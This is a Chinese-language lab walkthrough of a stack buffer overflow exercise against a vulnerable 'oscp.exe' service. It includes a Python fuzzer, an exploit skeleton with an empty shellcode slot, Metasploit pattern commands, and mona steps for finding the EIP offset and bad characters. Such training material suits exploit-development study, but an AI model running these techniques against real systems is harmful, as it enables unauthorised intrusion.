!mona config -set workingfolder c:\\mona\\%p
nc MACHINE_IP 1337
OVERFLOW1 test
先找出這個題目吃到多少會 overflow,可以使用這個腳本
#!/usr/bin/env python3
import socket, time, sys
ip = "MACHINE_IP"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
跑到 exe crash 掉的時候,就會顯示他是在多少 crash 的,像這一題就是 2000 的時候,查看 EIP 也被蓋掉變成 414141 了。
import socket
ip = "MACHINE_IP"
port = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\\r\\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
用這指令生成 payload,因為剛剛是 2000 bytes crash 掉的,所以應該是在 1900-2000 bytes 之間的某個位子蓋到 EIP 的,為了找出確切位置,用這組 payload 再傳一次 (放到 exploit.py 裡面的 payload 那一段,要重新跑一次 oscp.exe)
exploit 跑下去看到 crash 掉以後,!mona findmsp -distance 2000
這樣下可以看到 log
log (Window → log data) 裡面就有寫了,EIP 在 offset 1978 的位子
把 exploit 裡面的 offset 改成這個數字,payload 改回空,retn 改成 "BBBB" 做測試,一樣重跑 oscp.exe 然後打 exploit,果然 EIP 變成 "42424242" 了
因為如果 payload 裡面有 bad characters 就會失敗,所以需要先找出來
!mona bytearray -b "\\x00"
先用 mono 生出一段不包含 null bytes 的 bytearray (會出現在我們剛剛設的 working dir 下面)
然後可以用這段生出一串 x01 到 xFF 的 bytes,放到 exploit 的 payload 那邊
for x in range(1, 256):
print("\\\\x" + "{:02x}".format(x), end='')
print()
跑下去以後看 ESP 的位置 !mona compare -f C:\\mona\\oscp\\bytearray.bin -a <address>
塞到這裡,會跳出一個視窗顯示 mona Memory comparison results,還有可能的 badchar,有時候 badchar 會影像他的下一個也被誤判,所以需要一一測試